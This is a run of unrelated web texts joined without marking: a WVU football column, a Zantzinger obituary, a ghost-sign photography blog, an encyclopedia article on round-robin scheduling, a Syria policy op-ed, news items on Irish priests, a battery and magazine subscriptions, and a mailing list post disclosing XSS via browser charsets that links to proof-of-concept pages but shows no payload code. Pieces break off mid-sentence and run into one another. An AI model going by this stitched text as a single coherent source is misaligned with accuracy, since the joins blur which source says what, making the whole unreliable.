But this is WVU. Mountaineer fans are some of the most ardent fans in the country. We're also a fickle bunch. It's painful writing that because WVU fans are also some of the best people I could ever hope to encounter. It's also painful because it mires us in a reputation of narrow-mindedness that so many have fought to escape. It's painful because, for a state that prides itself on blue-collar, hard-working, tough-nosed people, some fans are a bunch of Chicken Littles. These fans become the vocal minority after losses like this and it lumps the steadfast WVU fans in with the rest of the Cowardly Lions.
I understand the despair, because losing isn't something we've been used to for the past decade, let alone in the fashion we witnessed Saturday. I understand that feeling of "there's no way we should have been beat like that." What I don't understand, is that these same fans are the ones who said all off-season that this year was a rebuilding year and that we'd be lucky to make a bowl game. Now we're shocked that WVU isn't running the table in one of the best conferences in the country. Now, some fans want Dana Holgorsen fired. Now, Pat White wants Dana Holgorsen fired (and he suggests Lane Kiffin is available) and we all know how good of an eye he has for head coaches. Now, some people are even clamoring for Rich Rod to come back and "save the program." The same program he left in the middle of the night to coach at Michigan. I guess people forget the year he led us to a loss against the mighty Temple Owls.
Some WVU fans have awfully short memories. Remember the coach we hung in effigy outside of his home? He went on to be a pretty good one at Florida State if I remember correctly. Remember the coach who would have done anything for his school and the state and went 9-3 each season he coached but was blasted consistently for "squinting too much" and "ruining the program" before he was replaced by the current coach. This job essentially killed him, and WVU fans treated him like dirt when he didn't live up to our own lofty expectations. Bill Stewart was one of our own...and we turned on him.
For as much as WVU fans proclaim that we are a hard-working, blue-collar, roll your sleeves up bunch of people, we sure don't handle adversity on the football field well. In fact, a segment of our fanbase is calling for Dana's head on a spike. Before anyone thinks to deliver this, let's consider the following:
WVU lost 9 of 11 offensive starters after last year.
WVU's Geno Smith, Tavon Austin, and Stedman Bailey made up 92% of last year's offensive output. They all play in the NFL now.
WVU had the 113th ranked Defense Last season (there are 120 teams total)
WVU had the worst passing defense in the country last year.
WVU is no longer playing Temple, Rutgers, UConn, South Florida etc. We're in the Big 12.
This was never going to be an easy season. We hadn't anointed the next Steve Slaton/Noel Devine/Tavon Austin/Stedman Bailey/Geno Smith prior to the start of the season. We are the land of misfit toys on offense. We are much better on defense than could have been expected. Yet we want someone held accountable for the 73 points Baylor scored. "Fire Dana, bring back Rich Rod."
Let's all take a deep breath, step back from the ledge, and take this season for what it is: a rebuilding year. Personally, I'll take 73-42 over 13-9 any day of the week. I'd take sideline squinting and losses to Colorado over a midnight plane ride out of town. I have more pride than to beg someone who left this program in its darkest hour to come back. I have more pride than to give up on a coach who has been here for 3 years and lacks the personnel on the field to properly run his system. I have more pride than to worry that the sky is falling or that WVU will become obscure in the Big 12. I have more pride than that because I'm a Mountaineer. Thank God I'm a Mountaineer.
As always,William Zantzinger dies: inspired a Dylan song
** FILE ** In this Feb. 11, 1963 file photo, William Zantzinger, 24, left, of Mount Victoria, Md., is led to city jail by two unidentified Baltimore policemen after he was ordered held without bail on homicide charges in Baltimore, Md. Zantzinger, a wealthy Maryland landowner whose fatal beating of a black barmaid was recounted in a Bob Dylan protest song of the 1960s, was buried Friday Jan. 9, 2009. He died on Jan. 3, 2009. He was 69. (AP Photo/File) less ** FILE ** In this Feb. 11, 1963 file photo, William Zantzinger, 24, left, of Mount Victoria, Md., is led to city jail by two unidentified Baltimore policemen after he was ordered held without bail on... more Photo: AP Photo: AP Image 1 of / 1 Caption Close William Zantzinger dies: inspired a Dylan song 1 / 1 Back to Gallery
William Devereux Zantzinger, whose six-month sentence in the fatal caning of barmaid Hattie Carroll, a black woman, at a Baltimore charity ball moved Bob Dylan to write a dramatic song in 1963 that became a classic of modern American folk music, died on Jan. 3. He was 69.
His death was confirmed by an employee of the Brinsfield-Echols Funeral Home, who said Mr. Zantzinger's family had prohibited the release of more details.
Dylan took some liberties with the truth in the almost journalistic song, "The Lonesome Death of Hattie Carroll," although there is disagreement over just how many. He recorded it in 1964 for the Columbia album "The Times They Are A-Changin'," for some reason dropping the letter "t" from Mr. Zantzinger's name. It begins:
William Zanzinger killed poor Hattie Carroll
With a cane he twirled around his diamond ring finger
At a Baltimore hotel society gath'rin'.
The incident occurred on Feb. 8, 1963. Mr. Zantzinger, a 24-year-old Maryland tobacco farmer, and his wife, Jane, had stopped with friends at |
industry insiders believe that the latest crackdown will have little lasting effect. "We've come too far. Any legislation that represses us is only going to fuel the movement," said Dixon as he showcased his company's latest potency testing tool to expo passersby. "Too many people have been affected to not fight back. The cat's out of the bag. We're part of the true green revolution."
Ryan Grim is the author of "This is Your Country on Drugs: The Secret History of Getting High in America," available on Amazon.
Take a look at images from the expo and video from Harborside Health Center below:Last August, I drove by a building on 412 Broadway in Schenectady – only to see hazard tape surrounding it. Construction crews coming in and out of the facility. I really hope it isn’t what I think it could be… but then again, I won’t know if I don’t ask. Hey, there’s a hardhat construction worker. Let’s ask.
Coca-Cola Ghost Sign This ghost sign was hand-painted on the building at 412 Broadway in Schenectady. This building was once a clothing store, and later tenants included a typewriter repair shop and a tool rental facility.
The street also had a building with two Uneeda Biscuit hand-painted signs on it; that building was demolished in 2012.
Ghost signs were old brickface painted ads that have, in most cases, outlasted their original advertising products.
“The building’s coming down,” the construction worker said to me.
Oh crap. Not again.
Now I’ve fallen for the “construction worker doesn’t know what he’s talking about” before, when I was told that the old Uneeda Biscuit sign along State Street was due for a removal, only to later find out that the owner of the building – the new Mexican Radio restaurant – was going to preserve the structure rather than erase it.
But no such dice. The construction workers told me that the building was being demolished; the tool rental place was closed; the residential tenants inside were evicted; and the only thing left to do was to remove all the asbestos before knocking this bad boy to the ground.
Well, you say that’s the only thing left to do.
Me… I’ve seen these buildings come down in the past. The Latham Water Tower. Trinity Church. St. Patrick’s Cathedral. I’ve chronicled their demolition and erasure.
This time, however… it’s personal.
See, this Coca-Cola building, with its 100-year-old hand-painted ghost sign, was an excellent subject for my burgeoning photography experiments. And with that in mind, I’m kinda saddened that the structure is coming down. Yeah, I wish that the building could remain standing, or that the façade could be relocated.
But I wasn’t asked to be part of those decisions. I’m not the building owner. And I’m not in a position to buy the building. And would the building matter if it DIDN’T have a Coca-Cola advert on it, if it was just a nondescript building along a nondescript section of Schenectady?
My mind flashes back to the first time I encountered this building.
It’s 2010, and I’ve started experimenting with my splitfilm technique – cramming two rolls of 35mm film into a 120-format plastic Holga camera and shooting. My target? An old ghost sign in Schenectady.
You might recognize it.
Yep. That one. This was my first truly successful “splitfilm” photo, and it would later claim an Honorable Mention ribbon at the New York State Fair. I’ve gone back to photo this building several times, using different films and different photography techniques.
So after I heard that the building was to be demolished, I tried to take a few more pictures of it – at least to continue doing so until the building was finally on its last moments.
AUGUST 26, 2015: Kodak HIE infrared film, shot in Minolta x370s camera.
AUGUST 31, 2015: Nikon Df with 28mm f/2.8 lens, shot at night with long exposure.
SEPTEMBER 5, 2015: Afternoon shot with Nimslo 4-lens camera, Kodak expired 100 film.
SEPTEMBER 2, 2015: Morning shot with Nikon EM camera, 50mm f/1.8 pancake lens, Revolog “Volvox” film that produces little green bubbles on the print.
And then… at the end of September… the building was gone forever, like the last warm days of summer. The demolition was complete. All that remained were a heap of century-old painted bricks and the memories of an old advertisement. Yeah, try to get Coca-Cola for five cents these days. What’s that the equivalent of, a couple of teaspoons worth in 2015 dollars?
Still, I got my photos… I wish I had taken more. Heck, the shots with Volvox “green bubble” film was still in my camera, undeveloped; waiting for a few more last-minute photos to be captured on that roll.
But even if I wanted to take one more image… one more ultrawide, one more infrared, one more HDR photo… there was no more “one more” for this subject.
Still, after all the years of capturing this century-old advertisement, I still had the photos that I was able to finally capture.
And in the end… I suppose that’s all that matters, doesn’t it?A round-robin tournament (or all-play-all tournament) is a competition in which each contestant meets all other contestants in turn.[1][2] A round-robin contrasts with an elimination tournament, in which participants are eliminated after a certain number of losses.
Terminology [ edit ]
The term round-robin is derived from the French term ruban, meaning "ribbon". Over a long period of time, the term was corrupted and idiomized to robin.[3][4]
In a single round-robin schedule, each participant plays every other participant once. If each participant plays all others twice, this is frequently called a double round-robin. The term is rarely used when all participants play one another more than twice,[1] and is never used when one participant plays others an unequal number of times (as is the case in almost all of the major United States professional sports leagues – see AFL (1940–41) and All-America Football Conference for exceptions).
In the United Kingdom, a round-robin tournament is often called an American tournament in sports such as tennis or billiards which usually have knockout tournaments.[5][6][7] In Italian it is called girone all'italiana (literally "Italian-style circuit"). In Serbian it is called the Berger system (Бергеров систем, Bergerov sistem), after chess player Johann Berger. A round-robin tournament with four players is sometimes called "quad" or "foursome".[8]
Use [ edit ]
In sports with a large number of competitive matches per season, double round-robins are common. Most association football leagues in the world are organized on a double round-robin basis, in which every team plays all others in its league once at home and once away. This system is also used in qualification for major tournaments such as the FIFA World Cup and the continental tournaments (e.g. UEFA European Championship, CONCACAF Gold Cup). There are also round-robin bridge, chess, draughts, go, curling and Scrabble tournaments. The World Chess Championship decided in 2005 and in 2007 on an eight-player double round-robin tournament where each player faces every other player once as white and once as black.
Group tournaments rankings usually go by number of matches won and drawn, with any of a variety of tiebreaker criteria.
Frequently, pool stages within a wider tournament are conducted on a round-robin basis. Examples with single round-robin scheduling include the FIFA World Cup, UEFA European Football Championship, and UEFA Cup (2004–2009) in football, Super Rugby (rugby union) in the Southern Hemisphere during its past iterations as Super 12 and Super 14 (but not in its later 15- and 18-team formats), the Cricket World Cup, Indian Premier League Twenty-20 Cricket, The International (Dota 2) and many American Football college conferences, such as the Big 12 (which currently has 10 members). The group phases of the UEFA Champions League and Copa Libertadores de América are contested as a double round-robin, as are most basketball leagues outside the United States, including the regular-season and Top 16 phases of the Euroleague; the United Football League has used a double round-robin for both its 2009 and 2010 seasons.
Season ending tennis tournaments also use a round robin format prior to the semi on stages
Evaluation [ edit ]
The champion, in a round-robin tournament, is the contestant that defeats every other contestant. Unless there is a draw, there can be no more than one contestant who emerges as champion because, if there were two, eventually they must meet each other and one contestant will be defeated by the other. As in the circle of death (below), it is possible (but hopefully unlikely) that no champion emerges from a round-robin tournament, even if there is no draw.
In theory, a round-robin tournament is the fairest way to determine the champion from among a known and fixed number of contestants. Each contestant, whether player or team, has equal chances against all other opponents because there is no prior seeding of contestants that will preclude a match between any given pair. The element of luck is seen to be reduced as compared to a knockout system since one or two bad performances need not cripple a competitor's chance of ultimate victory.[dubious – discuss] Final records of participants are more accurate as they represent the results over a longer period against the same opposition. This can also be used to determine which teams are the poorest performers and thus subject to relegation if the format is used in a multi-tiered league. This is also helpful to determine the final rank of all competitors, from strongest to weakest, for purposes of qualification for another stage or competition as well as for prize money. In team sport the (round-robin) major league champions are generally regarded as the "best" team in the land, rather than the (elimination) cup winners.
Moreover, in tournaments such as the FIFA or ICC world cups, a first round stage consisting of a number of mini round robins between groups of 4 teams guards against the possibility of a team travelling possibly thousands of miles only to be eliminated after just one poor performance in a straight knockout system. The top one, two, or occasionally three teams in these groups then proceed to a straight knockout stage for the remainder of the tournament.
Disadvantages of the format [ edit ]
Round-robins can suffer from being too long compared to other tournament types, and with later scheduled games potentially not having any substantial meaning. They may also require tiebreaking procedures.
Swiss system tournaments attempt to combine elements of the round-robin and elimination formats, to provide a worthy champion using fewer rounds than a round-robin, while allowing draws and losses.
Tournament length [ edit ]
The main disadvantage of a round robin tournament is the time needed to complete it. Unlike a knockout tournament where half of the participants are eliminated after each round, a round robin requires one round less than the number of participants if the number of participants is even, and as many rounds as participants if the number of participants is odd. For instance, a tournament of 16 teams can be completed in just 4 rounds (i.e. 15 matches) in a knockout format; a round-robin would require 15 rounds (i.e. 120 matches) to finish. Other issues stem from the difference between the theoretical fairness of the round robin format and practice in a real event. Since the victor is gradually arrived at through multiple rounds of play, teams who perform poorly, who might have been quickly eliminated from title contention, are forced to play out their remaining games. Thus games are played late in the competition between competitors with no remaining chance of success. Moreover, some later matches will pair one competitor who has something left to play for against another who does not. It may also be possible for a competitor to play the strongest opponents in a round robin in quick succession while others play them intermittently with weaker opposition. This asymmetry means that playing the same opponents is not necessarily completely equitable: the same opponents in a different order may play harder or easier matches, while other teams are presented with more adversity during periods of the competition.[clarification needed] There is also no scheduled showcase final match. Only by coincidence would two competitors meet in the final match of the tournament where the result of that match determined the championship. A notable instance of such an event was the May 26th, 1989 match between Arsenal and Liverpool.
Qualified teams [ edit ]
Further issues arise where a round-robin is used as a qualifying round within a larger tournament. A competitor already qualified for the next stage before its last game may either not try hard (in order to conserve resources for the next phase) or even deliberately lose (if the scheduled next-phase opponent for a lower-placed qualifier is perceived to be easier than for a higher-placed one). Four pairs in the 2012 Olympics Women's doubles badminton, having qualified for the next round, were disqualified for attempting to lose in the round robin stage to avoid compatriots and better ranked opponents.[9] The round robin stage at the Olympics were a new introduction and potential problems were readily known prior to the tournament.
Circle of death [ edit ]
Another disadvantage, especially in smaller round-robins, is the "circle of death," where teams cannot be separated on a head-to-head record. In a three-team round-robin, where A defeats B, B defeats C, and C defeats A, all three competitors will have a record of one win and one loss, and a tiebreaker will need to be used to separate the teams.[10] This famously happened during the 1994 FIFA World Cup Group E, where all four teams finished with a record of one win, one draw, and one loss.
Scheduling algorithm [ edit ]
Example of a round-robin tournament with 10 participating teams
If n {\displaystyle n} is the number of competitors, a pure round robin tournament requires n 2 ( n − 1 ) {\displaystyle {\begin{matrix}{\frac {n}{2}}\end{matrix}}(n-1)} games. If n {\displaystyle n} is even, then in each of ( n − 1 ) {\displaystyle (n-1)} rounds, n 2 {\displaystyle {\begin{matrix}{\frac {n}{2}}\end{matrix}}} games can be run concurrently, provided there exist sufficient resources (e.g. courts for a tennis tournament). If n {\displaystyle n} is odd, there will be n {\displaystyle n} rounds, each with n − 1 2 {\displaystyle {\begin{matrix}{\frac {n-1}{2}}\end{matrix}}} games, and one competitor having no game in that round.
The circle method is the standard algorithm to create a schedule for a round-robin tournament. All competitors are assigned to numbers, and then paired in the first round:
Round 1. (1 plays 14, 2 plays 13,... ) 1 2 3 4 5 6 7 14 13 12 11 10 9 8
Next, one of the contributors in the first or last column of the table is fixed (number one in this example) and the others rotated clockwise one position
Round 2. (1 plays 13, 14 plays 12,... ) 1 14 2 3 4 5 6 13 12 11 10 9 8 7
Round 3. (1 plays 12, 13 plays 11,... ) 1 13 14 2 3 4 5 12 11 10 9 8 7 6
This is repeated until you end up almost back at the initial position:
Round 13. (1 plays 2, 3 plays 14,... ) 1 3 4 5 6 7 8 2 14 13 12 11 10 9
If there are an odd number of competitors, a dummy competitor can be added, whose scheduled opponent in a given round does not play and has a bye. The schedule can therefore be computed as though the dummy were an ordinary player, either fixed or rotating. Instead of rotating one position, any number relatively prime to ( n − 1 ) {\displaystyle (n-1)} will generate a complete schedule. The upper and lower rows can indicate home/away in sports, white/black in chess, etc.; to ensure fairness, this must alternate between rounds since competitor 1 is always on the first row. If, say, competitors 3 and 8 were unable to fulfil their fixture in the third round, it would need to be rescheduled outside the other rounds, since both competitors would already be facing other opponents in those rounds. More complex scheduling constraints may require more complex algorithms.[11] This schedule is applied in chess and draughts tournaments of rapid games, where players physically move round a table. In France this is called the Carousel-Berger system (Système Rutch-Berger).[12]
The schedule can also be used for "asynchronous" round-robin tournaments where all games take place at different times (for example, because there is only one venue). The games are played from left to right in each round, and from the first round to the last. When the number of competitors is even, this schedule performs well with respect to quality and fairness measures such as the amount of rest between games. On the other hand, when the number of competitors is odd, it does not perform so well and a different schedule is superior with respect to these measures.[13]
Alternatively Berger tables,[14] named after the Austrian chess master Johann Berger, are widely used in the planning of tournaments. Berger published the pairing tables in his two Schachjahrbucher,[15][16] with due reference to its inventor Richard Schurig.[17][18]
Round 1. 1–14 2–13 3–12 4–11 5–10 6–9 7–8 Round 2. 14–8 9–7 10–6 11–5 12–4 13–3 1–2 Round 3. 2–14 3–1 4–13 5–12 6–11 7–10 8–9...... Round 13. 7–14 8–6 9–5 10–4 11–3 12–2 13–1
This constitutes a schedule where player 14 has a fixed position, and all other players are rotated clockwise n 2 {\displaystyle {\begin{matrix}{\frac {n}{2}}\end{matrix}}} positions. This schedule alternates colours and is easily generated manually. To construct the next round, the last player, number 8 in the first round, moves to the head of the table, followed by player 9 against player 7, player 10 against 6, until player 1 against player 2. Arithmetically, this equates to adding n 2 {\displaystyle {\begin{matrix}{\frac {n}{2}}\end{matrix}}} to the previous row, with the exception of player n {\displaystyle n}. When the result of the addition is greater than ( n − 1 ) {\displaystyle (n-1)}, then subtract ( n 2 − 1 ) {\displaystyle ({\begin{matrix}{\frac {n}{2}}\end{matrix}}-1)}.
This schedule can also be represented as a (n-1, n-1) table, expressing a round in which players meets each other. For example, player 7 plays against player 11 in round 4. If a player meets itself, then this shows a bye or a game against player n. All games in a round constitutes a diagonal in the table.
Diagonal Scheme × 2 3 4 5 6 7 8 9 10 11 12 13 1 2 3 4 5 6 7 8 9 10 11 12 13 1 1 2 3 4 5 6 7 8 9 10 11 12 13 2 1 2 3 4 5 6 7 8 9 10 11 12 13 3 1 2 3 4 5 6 7 8 9 10 11 12 13 4 1 2 3 4 5 6 7 8 9 10 11 12 13 5 1 2 3 4 5 6 7 8 9 10 11 12 13 6 1 2 3 4 5 6 7 8 9 10 11 12 13 7 1 2 3 4 5 6 7 8 9 10 11 12 13 8 1 2 3 4 5 6 7 8 9 10 11 12 13 9 1 2 3 4 5 6 7 8 9 10 11 12 13 10 1 2 3 4 5 6 7 8 9 10 11 12 13 11 1 2 3 4 5 6 7 8 9 10 11 12 13 12 1 2 3 4 5 6 7 8 9 10 11 12 13 13 1 2 3 4 5 6 7 8 9 10 11 12 13 Round Robin Schedule × 1 2 3 4 5 6 7 8 9 10 11 12 13 1 1 2 3 4 5 6 7 8 9 10 11 12 13 2 2 3 4 5 6 7 8 9 10 11 12 13 1 3 3 4 5 6 7 8 9 10 11 12 13 1 2 4 4 5 6 7 8 9 10 11 12 13 1 2 3 5 5 6 7 8 9 10 11 12 13 1 2 3 4 6 6 7 8 9 10 11 12 13 1 2 3 4 5 7 7 8 9 10 11 12 13 1 2 3 4 5 6 8 8 9 10 11 12 13 1 2 3 4 5 6 7 9 9 10 11 12 13 1 2 3 4 5 6 7 8 10 10 11 12 13 1 2 3 4 5 6 7 8 9 11 11 12 13 1 2 3 4 5 6 7 8 9 10 12 12 13 1 2 3 4 5 6 7 8 9 10 11 13 13 1 2 3 4 5 6 7 8 9 10 11 12
The above schedule can also be represented by a graph, as shown below:
Round Robin Schedule Span Diagram
Both the graph and the schedule were reported by Édouard Lucas in [19] as a recreational mathematics puzzle. Lucas, who describes the method as simple and ingenious, attributes the solution to Felix Walecki, a teacher at Lycée Condorcet. Lucas also included an alternative solution by means of a sliding puzzle.
Original construction of pairing tables by Richard Schurig (1886) [ edit ]
For 7 or 8 players, Schurig[18] builds a table with n / 2 {\displaystyle n/2} vertical rows and n − 1 {\displaystyle n-1} horizontal rows, as follows:
1. Round 1 2 3 4 2., 5 6 7 1 3., 2 3 4 5 4., 6 7 1 2 5., 3 4 5 6 6., 7 1 2 3 7., 4 5 6 7
Then a second table is constructed (with counting from the end) as shown below:
1. Round. 1. 7. 6. 5 2.,. 5. 4. 3. 2 3.,. 2. 1. 7. 6 4.,. 6. 5. 4. 3 5.,. 3. 2. 1. 7 6.,. 7. 6. 5. 4 7.,. 4. 3. 2. 1
By merging above tables we arrive at:
1. Round 1, 1 2, 7 3, 6 4, 5 2., 5, 5 6, 4 7, 3 1, 2 3., 2, 2 3, 1 4, 7 5, 6 4., 6, 6 7, 5 1, 4 2, 3 5., 3, 3 4, 2 5, 1 6, 7 6., 7, 7 1, 6 2, 5 3, 4 7., 4, 4 5, 3 6, 2 7, 1
Then the first column is updated: if n {\displaystyle n} is even, player number n {\displaystyle n} is alternatingly substituted for the first and second positions, whereas if n {\displaystyle n} is odd a bye is used instead.
The pairing tables were published as an annex concerning the arrangements for the holding of master tournaments. Schurig did not provide a proof nor a motivation for his algorithm. For more historical details, see Ahrens.[20]
See also [ edit ]The considerations behind American military action against Fatah al-Sham are complex and delicate. If the United States coordinates airstrikes with Russia, as Secretary of State John Kerry proposes, Charles Lister of the Middle East Institute warns that such action will “only serve to drive more young Syrians” into the arms of Fatah al-Sham and undermine moderate forces.
The key for the United States is to find a way to halt and ultimately reverse the influence of Al Qaeda, under whatever name, in the Syrian opposition. The first course of action should be to put the new group’s professed separation from Al Qaeda to the test.
The United States should lay out a series of benchmarks — building on the position shared by both Washington and the other Syrian rebel groups that Fatah al-Sham will be judged by deeds, not words — that would indicate a real break with Al Qaeda, rather than a rhetorical and tactical contrivance. These could include the renunciation of “takfiri” ideology (which brands other, non-jihadist Muslims as death-deserving apostates), the repudiation of Al Qaeda’s goals and methods, the abandonment of terrorism and a commitment to a nonsectarian future for Syria.
A precedent for this policy exists in the uneasy but apparently sustainable modus vivendi the United States has developed toward Hezbollah in Lebanon. The radical Shiite group is on the State Department-designated list of foreign terrorist groups, and it is illegal for Americans to provide it with any support. But the United States is not in an open conflict with Hezbollah, despite the group’s sending thousands of fighters to support the Assad government in Syria.
The benchmarks would operate in the full understanding that the former Nusra leaders are unlikely, and probably unable, to move toward such a moderate stance. The indications are that Mr. Jolani and his followers will remain committed followers of Al Qaeda and its broader agenda. But it would be essential to demonstrate their noncompliance to the other Syrian opposition groups in order to counter the extremists’ maneuver.
Al Qaeda in Syria emerged as a leading player in the Syrian opposition because it proved itself one of the strongest military forces in the resistance against the brutal offensives of the Assad government. But Nusra’s rise also owed something to the absence of effective international and American engagement with the moderate rebel groups. If the United States wants to ensure that terrorists are not the primary beneficiaries of Syria’s collapse, it should begin by calling their bluff and exposing them as unreconstructed fanatics.Eight priests have taken their own lives in the past 10 to 15 years in Ireland, a meeting of the Association of Catholic Priests (ACP) in Cavan has been told.
At another such meeting in Co Limerick, there was a call for the setting up of a national confidential priests’ helpline.
Minutes of the latter meeting in Caherconlish quote one attendee as saying: “Our morale is affected because we are on a sinking ship. When will the ‘counter-reformation’ take place? We’re like an All-Ireland team without a goalie. We need a national confidential priests’ helpline. We’re slow to look for help.”
Reports from both meetings appear on the ACP website.
Among reasons given at the Cavan town meeting for the crisis in the Irish Catholic priesthood were living alone, retirement, health issues, sexual abuse accusations, as well as “workload; being gay; clustering; priests rights; bullying; etc.”
There were also very poor welfare supports when a priest gets ill. “We are reluctant to talk and say we are tired, struggling, lonely or depressed. This can be very disheartening,” the meeting was told.
The Cavan meeting was attended by priests from the Ardagh and Clonmacnoise, Clogher, Kilmore, and Meath dioceses.
Motions of faith As disheartening was that so much work by priests was “for people who have so little contact with the church from First Communions to funerals”, the meeting heard. Priests’ confidence “has been eroded when we see so many people going through the motions of faith”.
The Limerick meeting of priests from the Archdiocese of Cashel as well as Killaloe and Limerick dioceses was told there were “too many Masses in near-empty churches. The church has survived in other parts of the world without all the Masses.”
It was claimed priests were “in denial about vocations – not facing reality – we are part of a dying system,” and that “we need to unmask and say ‘I need help.’ There is a great sense of ‘being alone’.”
It was said the Bon Secours Sisters, who managed the controversial Tuam Mother and Baby Home, “did a disservice by not clarifying exactly what happened. They need to do so immediately. It makes our job impossible, especially as we face a storm on abortion next year.”1.25 MWh Battery For Puerto Rican Solar Power Plant
April 18th, 2016 by Jake Richardson
“This project is a great example of large-scale base-load solar shifting using energy storage. Our batteries are optimized for long duration charge and discharge cycles, and base-load solar shifting is an ideal application for our technology,” said Aquion Energy CEO Scott Pearson.
Sonnedix commissioned the battery, which also has its own 250 kWp PV solar array. This company is an independent solar power producer with its US headquarters in Miami, Florida. (On its site, something of a philosophy can be found, “We believe in a world where the price of solar electricity is cheaper than fossil fuels, and the future of solar power is limitless.”)
So what is an aqueous hybrid-ion battery? It is one that uses a saltwater electrolyte, which is nontoxic and non-combustible. The cathode is manganese oxide, with a carbon composite anode. Non-corrosive reactions are used to help maintain the life of the materials.
Aquion already provided one of its batteries for an off-grid project in Hawaii. This battery was slightly smaller than the one in Puerto Rico and also had its own solar array.
It has been reported that the Aquion battery was the first to receive “Cradle to Cradle” certification, which resulted from the fact that it uses some recycled materials and some portion of it can be recycled when its use life is over.
Dr. Jay Whitacre created the first operational aqueous hybrid-ion battery at Carnegie Mellon University, and today the company has its headquarters in Pittsburgh.
Generally, lead-acid and lithium-ion battery chemistries are more common, but alternatives such as the Aquion batteries are also possible and claim competitive attributes and costs.
Image Credit: Aquion EnergyFull Disclosure mailing list archives
By Date By Thread XSS and Charset Remembering via charsets in different browsers From: "MustLive" <mustlive () websecurity com ua>
Date: Fri, 22 Jun 2012 21:26:13 +0300
Hello list! I want to warn you about XSS and Charset Remembering vulnerabilities via multiple charsets in different browsers. ---------- Details: ---------- XSS and Charset Remembering (WASC-08): In the beginning of 2009 I've write about Charset Remembering vulnerability in Mozilla Firefox via UTF-7 (http://websecurity.com.ua/2848/) and EUC-JP and SHIFT_JIS charsets (http://websecurity.com.ua/2928/). The Charset Remembering attack can be used for making persistent attacks via different charsets, which are affected to XSS. With this attack it's possible to conduct XSS attacks via affected charset not only at pages with the same charset, but at any suitable page with any charset. Last week, in the last Patch Tuesday, Microsoft fixed vulnerabilities in Internet Explorer and among them there was vulnerability CVE-2012-1872 (http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-1872). This vulnerability surprised me. Because information about XSS via EUC-JP in IE6 was known already in 2006 - Cheng Peng Su wrote about it (he checked few charsets in browsers Internet Explorer 6, Firefox 1.5.0.6 and Opera 9.0.1). Including my exploit (http://websecurity.com.ua/uploads/2009/Firefox_XSS_Charset_Remembering.html) for XSS via EUC-JP and SHIFT_JIS charsets in Mozilla Firefox also was suitable for IE (only one char should be added to it). Just the attack via EUC-JP works in IE 6 and 7, but in IE 8 it was fixed. It looks that new chars of EUC-JP charset was found, via which it's possible to conduct attack. Note, that in MFSA 2011-47 Mozilla fixed possibilities of XSS attacks via charset Shift-JIS, about which I've informed them in March 2009 (but still not fixed the same issue with charset EUC-JP). So first Mozilla have ignored my letter and publication at 03.03.2009, and only after 2,5 years, at 08.11.2011, they have fixed one from few vulnerabilities informed by me. So I've made new exploit (for work in different browsers) and tested XSS attacks via different charsets in different browsers. In result I've found, that many browsers are vulnerable to attacks via EUC-JP, SHIFT_JIS and Chinese Simplified (HZ) charsets. And some browsers also are vulnerable to attacks via other charsets. And I'll note, that Charset Remembering attack, described by me three years ago, besides Mozilla and Firefox (all browsers on Gecko engine) also works in Internet Explorer and Opera. PoC: http://websecurity.com.ua/uploads/2012/XSS_charsets_in_browsers.html The code will execute at setting of appropriate character encoding in the browser (the PoC designed for Charset Remembering attack). This attack via EUC-JP, SHIFT_JIS and Chinese Simplified (HZ) charsets works in Mozilla Firefox 3, 4 and previous versions (and must work in next versions), in Internet Explorer 6, 7, 8 (and must work in other versions), in Opera 10.62 (and must work in other versions). Also I've found some other affected charsets from East Asian group. In IE 6, 7 and 8 the attack will work via charset Chinese Simplified (GB2312 and Big5), and in IE 6 and 7 the attack will work via charset Korean (in other browsers named as EUC-KR). In version IE8 (and obviously in IE9) the attack is not working via charsets EUC-JP and Korean. And in Opera 10.62 it also works in Chinese Simplified (GB2312, GB18030 and Big5-HKSCS), but doesn't work in Big5 and HZ. ------------ Timeline: ------------ 2009.02.03 - published at my site about UTF-7 charset in Mozilla. 2009.02.05 - informed developers. UTF-7 attack vector was fixed by Mozilla. 2009.03.03 - published at my site about EUC-JP and SHIFT_JIS charsets in Mozilla. 2009.03.04 - informed developers. Mozilla ignored to fix these vulnerabilities. 2011.11.08 - Mozilla fixed vulnerability in Firefox related to SHIFT_JIS (MFSA 2011-47 / CVE-2011-3648). 2012.06.12 - Microsoft fixed vulnerability in Internet Explorer related to EUC-JP (CVE-2012-1872). 2012.06.06 - published at my site about multiple charsets in different browsers (http://websecurity.com.ua/5902/). Best wishes & regards, MustLive Administrator of Websecurity web site http://websecurity.com.ua _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.g |
onerations in 2015, followed by 17 in New York and 13 in Illinois, the report said.
There are 24 district attorney offices nationwide with offices to review convictions, with Brooklyn also among the exoneration leaders in the past several years, the study said.
"We have turned the corner in dealing with wrongful convictions. There’s a lot more to do, but it’s just a matter of time," the report said.
(Reporting by Jon Herskovitz; Editing by Peter Cooney)Rogers Media is taking a lesson from its parent company's cable division, as it bundles all of its magazines into a single digital monthly subscription package that will also include dozens of American titles such as Rolling Stone and The New Yorker.
More than 100 magazines will be available to monthly subscribers through the Next Issue Canada app, a modified version of tablet software that has been available to U.S. subscribers for about 18 months. Publishers are looking to the app to help stabilize an industry that has been reeling from declining advertising revenue.
"Through the last 100 years we've done everything we could as an industry to keep competition out," said Kenneth Whyte, who will leave his post as president of Rogers Publishing to run affiliated Next Issue Canada. "Public attitudes have changed; there's a different cultural outlook in Canada and the digital world has broken down a lot of barriers. I think consumers want to see our magazines stand beside the best magazines in the world and compete."
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The publishers hope to create a model that eliminates many of the costs associated with printing and distributing weekly and monthly magazines, while at the same time increasing readership. Paper magazines aren't going away just yet, but publishers are excited by the prospect of digital editions because they can gather more information about their readers and use that information to entice advertisers.
"Publishing has changed dramatically," Rogers Media president Keith Pelley said. "It went from a concern to an area of potential growth with the creation of the tablet. We're now looking at the migration to digital as an incredible opportunity for subscription-based products."
The service will appeal to heavier readers – at $9.99 a month for access to monthly magazines, and $14.99 a month for a subscription that includes weekly magazines, the service costs as much annually as about six traditional print subscriptions.
Next Issue is a joint venture between publishing titans Condé Nast Publications Inc., Hearst Corp., Meredith Corp., Newscorp and Time Inc., which means some of the most respected magazines in the world will be offered alongside Canadian mainstays such as Chatelaine and Maclean's. Rogers is an equal partner in the venture, and will take a seat on its board after making what Mr. Whyte described as an "eight-digit investment."
The app is often referred to as a sort of Netflix for magazines, and the publishers hope the appeal of a bundle can draw more readers back as they flip through a wider range of publications than they would otherwise be able to afford. The average American user has 30 digital titles in their monthly library, and spends up to five hours a month reading them.
